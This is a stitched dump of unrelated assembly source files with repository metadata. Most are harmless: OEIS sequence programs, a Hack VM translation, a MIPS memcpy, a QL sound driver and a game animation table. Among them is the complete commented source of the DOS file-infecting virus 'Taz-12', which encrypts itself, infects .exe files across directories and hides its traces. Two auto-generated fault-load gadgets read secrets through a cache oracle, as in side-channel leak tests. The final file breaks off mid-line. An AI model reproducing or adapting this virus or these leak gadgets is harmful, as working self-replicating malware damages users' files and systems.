[ "MIT" ]

null

//push constant 3030 @3030 D=A @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M @3 M=D //push constant 3040 @3040 D=A @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M @4 M=D //push constant 32 @32 D=A @SP A=M M=D @SP M=M+1 //pop THIS 2 @SP AM=M-1 D=M @R15 M=D @THIS D=M @2 D=A+D @R14 M=D @R15 D=M @R14 A=M M=D //push constant 46 @46 D=A @SP A=M M=D @SP M=M+1 //pop THAT 6 @SP AM=M-1 D=M @R15 M=D @THAT D=M @6 D=A+D @R14 M=D @R15 D=M @R14 A=M M=D @3 D=M @SP A=M M=D @SP M=M+1 @4 D=M @SP A=M M=D @SP M=M+1 //add @SP AM=M-1 D=M A=A-1 M=M+D //push THIS 2 @THIS D=M @2 A=A+D D=M @SP A=M M=D @SP M=M+1 //sub @SP AM=M-1 D=M A=A-1 M=M-D //push THAT 6 @THAT D=M @6 A=A+D D=M @SP A=M M=D @SP M=M+1 //add @SP AM=M-1 D=M A=A-1 M=M+D

8.954198

20

0.328218

c2064c3b693559995e69ba620c0098b228a50544

5,458

asm

Assembly

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2602.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2602.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2602.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x4820, %rsi lea addresses_D_ht+0x73a0, %rdi nop dec %r11 mov $42, %rcx rep movsb nop nop nop nop nop add $48450, %r9 lea addresses_WT_ht+0x2a0, %r13 nop nop nop nop and $48680, %r14 movb $0x61, (%r13) nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x10440, %rsi lea addresses_A_ht+0x10ac0, %rdi nop nop nop nop nop xor %rdx, %rdx mov $121, %rcx rep movsw nop nop nop nop dec %r14 lea addresses_normal_ht+0x6072, %rsi lea addresses_UC_ht+0x1cc20, %rdi nop nop and $60474, %r14 mov $62, %rcx rep movsq nop nop nop dec %rdx lea addresses_normal_ht+0x12d36, %rsi lea addresses_WC_ht+0x3820, %rdi nop xor %rdx, %rdx mov $94, %rcx rep movsb xor %r9, %r9 lea addresses_WC_ht+0x18d08, %r13 nop nop nop cmp $32999, %r11 movups (%r13), %xmm7 vpextrq $0, %xmm7, %r9 cmp %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %rbx // Faulty Load lea addresses_WC+0x8020, %r10 and $24276, %r13 movb (%r10), %r14b lea oracles, %r10 and $0xff, %r14 shlq $12, %r14 mov (%r10,%r14,1), %r14 pop %rbx pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */

44.016129

2,999

0.662331

ff8b640423e5b4142361c30584412e8a6036ba78

890

asm

Assembly

programs/oeis/277/A277800.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

1

2021-03-15T11:38:20.000Z

programs/oeis/277/A277800.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

null

programs/oeis/277/A277800.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

null

; A277800: Decimal representation of the x-axis, from the origin to the right edge, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 1", based on the 5-celled von Neumann neighborhood. ; 1,0,4,3,16,15,64,63,256,255,1024,1023,4096,4095,16384,16383,65536,65535,262144,262143,1048576,1048575,4194304,4194303,16777216,16777215,67108864,67108863,268435456,268435455,1073741824,1073741823,4294967296,4294967295,17179869184,17179869183,68719476736,68719476735,274877906944,274877906943,1099511627776,1099511627775,4398046511104,4398046511103,17592186044416,17592186044415,70368744177664,70368744177663,281474976710656,281474976710655,1125899906842624,1125899906842623,4503599627370496,4503599627370495 add $0,1 mov $2,1 lpb $0 add $0,$1 sub $0,$1 sub $0,1 mov $1,0 add $1,$2 sub $1,$0 trn $0,1 mov $3,$2 mul $2,2 mul $3,2 add $2,$3 lpe

46.842105

509

0.78764

842e6626bc50dfa0fa222fddd06dd8dca6acff83

726

asm

Assembly

oeis/027/A027383.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/027/A027383.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/027/A027383.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A027383: Number of balanced strings of length n: let d(S) = #(1's) - #(0's), # == count in S, then S is balanced if every substring T of S has -2 <= d(T) <= 2. ; 1,2,4,6,10,14,22,30,46,62,94,126,190,254,382,510,766,1022,1534,2046,3070,4094,6142,8190,12286,16382,24574,32766,49150,65534,98302,131070,196606,262142,393214,524286,786430,1048574,1572862,2097150,3145726,4194302,6291454,8388606,12582910,16777214,25165822,33554430,50331646,67108862,100663294,134217726,201326590,268435454,402653182,536870910,805306366,1073741822,1610612734,2147483646,3221225470,4294967294,6442450942,8589934590,12884901886,17179869182,25769803774,34359738366,51539607550 mov $1,$0 mod $0,2 lpb $1 mul $0,2 add $0,3 sub $1,2 lpe add $0,1

60.5

490

0.764463

5ea462bc888558409bf8ee9cdf44660bb83f792f

328

asm

Assembly

programs/oeis/042/A042970.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/042/A042970.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/042/A042970.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A042970: a(n) = binomial(n, floor(n/2)) mod n. ; 0,0,0,2,0,2,0,6,0,2,0,0,0,2,0,6,0,2,0,16,0,2,0,4,0,2,0,20,0,0,0,6,0,2,0,24,0,2,0,20,0,6,0,28,0,2,0,12,0,2,0,32,0,20,0,0,0,2,0,4,0,2,0,6,0,42,0,40,0,42,0,52,0,2,0,44,0,20,0,20,0,2,0,0,0,2,0,48,0,0,0,52,0,2,0,60,0,2,0,56 mov $1,$0 add $1,1 dif $1,2 bin $0,$1 mod $0,$1 mul $0,2

32.8

220

0.542683

49c2acca74e878816925e244276cf02fd701d6fa

126

asm

Assembly

gfx/pokemon/drowzee/anim.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

28

2019-11-08T07:19:00.000Z

2021-12-20T10:17:54.000Z

gfx/pokemon/drowzee/anim.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

13

2020-01-11T17:00:40.000Z

2021-09-14T01:27:38.000Z

gfx/pokemon/drowzee/anim.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

22

2020-05-28T17:31:38.000Z

2022-03-07T20:49:35.000Z

frame 1, 08 frame 2, 08 frame 3, 08 frame 4, 08 frame 0, 05 frame 1, 05 frame 2, 05 frame 3, 05 frame 4, 05 endanim

11.454545

12

0.626984

8f037e8d5872ba46b9464e0a56f8d3c013814f49

489

asm

Assembly

runtime/sources/mips/memcpy.asm

wdv4758h/Yeppp-

deeca59a88bc2b014be802fd575757f7c26c180e

[ "BSD-3-Clause" ]

30

2015-09-18T00:52:22.000Z

2021-11-03T17:44:30.000Z

runtime/sources/mips/memcpy.asm

rguthrie3/Yeppp-Mirror

23cc725a7489d376558bef3e92e31fda014b6c47

[ "BSD-3-Clause" ]

1

2017-02-09T04:53:29.000Z

runtime/sources/mips/memcpy.asm

rguthrie3/Yeppp-Mirror

23cc725a7489d376558bef3e92e31fda014b6c47

[ "BSD-3-Clause" ]

6

2017-02-09T03:05:32.000Z

2022-03-17T06:50:19.000Z

/* * Yeppp! library runtime infrastructure * * This file is part of Yeppp! library and licensed under MIT license. * See runtime/LICENSE.txt for details. * */ .abicalls .include "common.inc" BEGIN_MIPS_FUNCTION memcpy .set mips32 BEQZ $a2, .finish MOVE $v0, $a0 .copy_byte: LBU $t0, ($a1) ADDIU $a2, $a2, -1 SB $t0, ($a0) ADDIU $a1, $a1, 1 BNEZ $a2, .copy_byte ADDIU $a0, $a0, 1 .finish: JR $ra NOP END_MIPS_FUNCTION memcpy

16.862069

71

0.609407

d7efd99a2c56470e292585da3fd3523b3b8e1328

563

asm

Assembly

smsq/java/driver/snd/init.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

smsq/java/driver/snd/init.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

smsq/java/driver/snd/init.asm

olifink/smsqe

c546d882b26566a46d71820d1539bed9ea8af108

[ "BSD-2-Clause" ]

null

; SOUND device initialisation V1.00 2014 W. lenerz ; 1.00 2014 Jan 16 0 ; BASED ON tt'S NUL device V2.01 1989 Tony Tebby QJUMP section sound xdef snd_init xref iou_idset xref iou_idlk include 'dev8_keys_iod' include 'dev8_mac_vec' ;+++ ; SOUND driver initialisation ;--- snd_init lea snd_link,a3 jsr iou_idset ; setup sound linkage jmp iou_idlk ; and link in snd_link dc.l $34+iod.sqhd dc.l 1<<iod..ssr+1<<iod..scn serial and name novec ; no servers novec novec vec snd_io vec snd_open vec snd_close vec snd_cnam end

15.216216

63

0.705151

46f6dadec34f7d9c0da80d2e1caa4e060af430fc

6,746

asm

Assembly

MSDOS/Virus.MSDOS.Unknown.taz12.asm

fengjixuchui/Family

2abe167082817d70ff2fd6567104ce4bcf0fe304

[ "MIT" ]

3

2021-05-15T15:57:13.000Z

2022-03-16T09:11:05.000Z

MSDOS/Virus.MSDOS.Unknown.taz12.asm

fengjixuchui/Family

2abe167082817d70ff2fd6567104ce4bcf0fe304

[ "MIT" ]

null

MSDOS/Virus.MSDOS.Unknown.taz12.asm

fengjixuchui/Family

2abe167082817d70ff2fd6567104ce4bcf0fe304

[ "MIT" ]

3

2021-05-15T15:57:15.000Z

2022-01-08T20:51:04.000Z

cseg segment byte public 'code' assume cs:cseg, ds:cseg org 100h start_of_virus: call get_offset get_offset: ;alternative way to get the delta mov di,sp ;offset without activating any flags in mov bp,word ptr ss:[di] ;TB-scan sub bp,offset get_offset inc sp inc sp push ds ;save es & ds push es push cs ;and point ds to code segment pop ds call encrypt_decrypt ;decrypt contents of file start_of_encryption: cld ;clear direction flag mov ah,1ah ;set new dta area lea dx,[bp+dta_area] int 21h mov bx,es push cs ;es points to code segment pop es lea si,[bp+return2_buffer] ;this code prepares the return code lea di,[bp+return_buffer] movsw ;transfer buffer contents lodsw add ax,bx ;bx holds start es = psp add ax,10h stosw ; lea di,[bp+stack_return] ; lea si,[bp+stack_save] ;si already points to stack_save add di,8 ;saving a byte with this code lodsw ;prepares the restore of ss/sp add ax,bx add ax,10h stosw movsw mov ah,47h ;save starting directory xor dl,dl lea si,[bp+save_dir] int 21h find_new_files: ;start finding files mov ah,4eh mov cx,7 lea dx,[bp+search_pattern] find_files: int 21h jnc open_file ;if found a file lea dx,[bp+dir_mask] ;else change directory mov ah,3bh int 21h jnc find_new_files jmp no_more_files ;end of all files open_file: ;open the found file mov ax,3d02h lea dx,[bp+dta_area+1eh] int 21h xchg ax,bx ;file handle in bx mov ah,3fh ;read the exe header to exe_header mov cx,18h lea dx,[bp+exe_header] int 21h lea si,[bp+exe_header] ;check if it's really a executable lodsw cmp ax,'ZM' je check_infected cmp ax,'MZ' je check_infected jmp no_exe ;else jump check_infected: add si,10h ;saving another byte ; lea si,[bp+exe_header+12h] lodsw cmp ax,'Ri' ;is it already infected? jne start_infect jmp already_infected start_infect: lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer movsw movsw lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save movsw movsw lea di,[bp+exe_header+12h] ;mark the file infected mov ax,'Ri' stosw mov al,2 ;go to end_of_file call go_eof ;dx/ax is file length at return mov cx,10h ;use div to save bytes instead of speed div cx sub ax,word ptr ds:[bp+exe_header+8] xchg dx,ax stosw ;put new ip/cs in exe_header xchg dx,ax stosw inc ax ;put new suitable ss/sp in exe_header inc ax mov word ptr [bp+exe_header+0eh],ax mov word ptr [bp+exe_header+10h],4b0h mov ah,2ch ;get system time for random number int 21h xor dh,dh ;just alter the code a little bit or dl,00001010b ;with encryption so TB-scan wont't mov word ptr [bp+encryption_value],dx ;find garbage instruction mov ah,40h ;prepare to append virus to file lea dx,[bp+start_of_virus] call append_virus ;call it mov al,2 ;go to end of file call go_eof mov cx,512 ;get filesize in 512 modules div cx inc ax mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in mov word ptr [bp+exe_header+4],ax ;exe header xor al,al ;go to beginning of file call go_eof mov ah,40h ;write new exe header mov cx,18h lea dx,[bp+exe_header] int 21h lea si,[bp+dta_area+16h] ;restore time/date stamp mov cx,word ptr [si] mov dx,word ptr [si+2] mov ax,5701h int 21h already_infected: no_exe: mov ah,3eh ;close file int 21h mov ax,4301h ;restore file attribute mov cl,byte ptr [bp+dta_area+15h] lea dx,[bp+dta_area+1eh] int 21h mov ah,4fh ;find next file jmp find_files no_more_files: lea dx,[bp+save_dir] ;restore starting directory mov ah,3bh int 21h pop es ;shrink memory block mov ah,4ah mov bx,10000 int 21h push es mov ah,48h ;allocate a new 3k block mov bx,192 int 21h jc no_mem dec ax mov es,ax mov word ptr es:[1],0008h ;mark DOS as owner and it will no_mem: ;reduce available memory to DOS pop es ;restore old es/ds pop ds cli ;must use this before altering ss/sp mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp mov sp,word ptr cs:[bp+stack_return+2] sti ;interrupts allowed again end_part: db 0eah ;jmp to original ip return_buffer db 0,0,0,0 return2_buffer dw 0,0fff0h ;code for carrier file to exit stack_save dd ? stack_return dd ? dir_mask db '..',0 search_pattern db '*.exe',0 signature db "Taz-12 (C) 94 by Sector Infector!" go_eof: ;procedure to go to beginning and mov ah,42h ;end of file xor cx,cx ;this saves a few bytes as it's cwd ;used a few times int 21h ret end_of_encryption: pad db 0 ;pad out a byte so first byte of ;encryption value won't be overwritten encryption_value dw 0 encrypt_decrypt: ;cryptation routine mov si,word ptr [bp+encryption_value] lea di,[bp+start_of_encryption] mov cx,(end_of_encryption-start_of_encryption+1)/2 crypt_loop: xor word ptr [di],si inc di inc di loop crypt_loop ret append_virus: call encrypt_decrypt ;encrypt virus before write mov cx,end_of_virus-start_of_virus ;cx is length of virus int 21h ;call 40h call encrypt_decrypt ;decrypt virus again ret end_of_virus: exe_header db 18h dup(?) ;don't need to copy this shit dta_area db 43 dup(?) ;to the next file to infect save_dir db 64 dup(?) ;return adress is already saved! cseg ends end start_of_virus

26.664032

72

0.56552

efd94c412c4ba965c1981fc92d761b3322d7a042

386

asm

Assembly

libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/c/sccz80/disk_initialize_fastcall.asm

ahjelm/z88dk

c4de367f39a76b41f6390ceeab77737e148178fa

[ "ClArtistic" ]

640

2017-01-14T23:33:45.000Z

2022-03-30T11:28:42.000Z

libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/c/sccz80/disk_initialize_fastcall.asm

ahjelm/z88dk

c4de367f39a76b41f6390ceeab77737e148178fa

[ "ClArtistic" ]

1,600

2017-01-15T16:12:02.000Z

2022-03-31T12:11:12.000Z

libsrc/_DEVELOPMENT/target/yaz180/driver/diskio/c/sccz80/disk_initialize_fastcall.asm

ahjelm/z88dk

c4de367f39a76b41f6390ceeab77737e148178fa

[ "ClArtistic" ]

215

2017-01-17T10:43:03.000Z

2022-03-23T17:25:02.000Z

SECTION code_driver PUBLIC disk_initialize_fastcall EXTERN asm_disk_initialize ;------------------------------------------------------------------------------ ; Routines that talk with the IDE drive, these should be called from diskio.h ; extern DSTATUS disk_initialize (BYTE pdrv) __z88dk_fastcall; ; ; initialize the ide drive defc disk_initialize_fastcall = asm_disk_initialize

25.733333

79

0.658031

41b1ca1c56f18f84f16bbd087a75c8b238560d10

587

asm

Assembly

programs/oeis/061/A061819.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/061/A061819.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/061/A061819.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A061819: Multiples of 3 containing only digits 0,1,2,3. ; 0,3,12,21,30,33,102,111,120,123,132,201,210,213,222,231,300,303,312,321,330,333,1002,1011,1020,1023,1032,1101,1110,1113,1122,1131,1200,1203,1212,1221,1230,1233,1302,1311,1320,1323,1332,2001,2010,2013,2022,2031,2100,2103,2112,2121,2130,2133,2202,2211,2220,2223,2232,2301,2310,2313,2322,2331,3000,3003,3012,3021,3030,3033,3102,3111,3120,3123,3132,3201,3210,3213,3222,3231,3300,3303,3312,3321,3330,3333,10002,10011,10020,10023,10032,10101,10110,10113,10122,10131,10200,10203,10212,10221 mul $0,3 seq $0,7090 ; Numbers in base 4.

97.833333

485

0.773424

a54064a4a66f718d364e4a31d91d7449477bc53b

8,436

asm

Assembly

Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2495.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2495.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_2495.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x145d5, %r15 nop nop add %rdi, %rdi mov (%r15), %eax cmp $3190, %rdx lea addresses_WT_ht+0x15d3c, %rsi lea addresses_UC_ht+0x15edc, %rdi nop nop nop nop nop add %rdx, %rdx mov $118, %rcx rep movsq nop xor $8065, %rcx lea addresses_normal_ht+0x2a5c, %rdx nop nop nop nop cmp $52876, %rcx mov $0x6162636465666768, %rax movq %rax, (%rdx) nop nop nop add $31730, %rdi lea addresses_WC_ht+0x8a5c, %rcx dec %r12 vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r15 nop nop nop cmp %r12, %r12 lea addresses_UC_ht+0xbf5c, %rsi lea addresses_A_ht+0x15cd4, %rdi nop nop nop dec %r15 mov $85, %rcx rep movsq nop xor %rdi, %rdi lea addresses_D_ht+0x1bc9c, %rsi nop nop nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %r15 movq %r15, (%rsi) nop xor %rdx, %rdx lea addresses_A_ht+0x15524, %rsi nop nop and $2613, %rax mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%rsi) nop nop nop nop nop and $14275, %r15 lea addresses_D_ht+0x8c9c, %rcx sub %rdi, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm3 vmovups %ymm3, (%rcx) nop and %r15, %r15 lea addresses_D_ht+0x1ecf0, %rsi lea addresses_normal_ht+0x79d3, %rdi nop nop nop nop nop add $33098, %r14 mov $42, %rcx rep movsq nop nop nop nop sub %rsi, %rsi lea addresses_D_ht+0x19444, %r12 nop nop xor %rax, %rax mov $0x6162636465666768, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%r12) xor $52889, %rcx lea addresses_UC_ht+0x616c, %r15 inc %r14 mov (%r15), %rdi add %rsi, %rsi lea addresses_UC_ht+0xd7bb, %r14 nop xor $18896, %rcx vmovups (%r14), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %r15 and %r15, %r15 lea addresses_A_ht+0xe9ac, %rsi lea addresses_WC_ht+0xc35c, %rdi nop nop and %rax, %rax mov $15, %rcx rep movsl nop nop nop nop inc %rdi lea addresses_UC_ht+0x7970, %rsi lea addresses_normal_ht+0x16a5c, %rdi nop nop nop nop sub $60513, %rdx mov $125, %rcx rep movsq nop nop xor $17379, %rax lea addresses_A_ht+0x1ca5c, %rsi lea addresses_A_ht+0xe5c, %rdi nop dec %r12 mov $55, %rcx rep movsl nop nop nop nop nop xor %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %r9 push %rax push %rbp // Store lea addresses_WC+0x662c, %r8 nop nop nop sub %r11, %r11 mov $0x5152535455565758, %r9 movq %r9, %xmm4 vmovups %ymm4, (%r8) nop nop nop and %rbp, %rbp // Store lea addresses_WT+0x9a5c, %r11 sub $14995, %rax movl $0x51525354, (%r11) nop nop nop cmp $52268, %r12 // Faulty Load mov $0x52c5e7000000025c, %rax cmp %r15, %r15 mov (%rax), %rbp lea oracles, %r15 and $0xff, %rbp shlq $12, %rbp mov (%r15,%rbp,1), %rbp pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 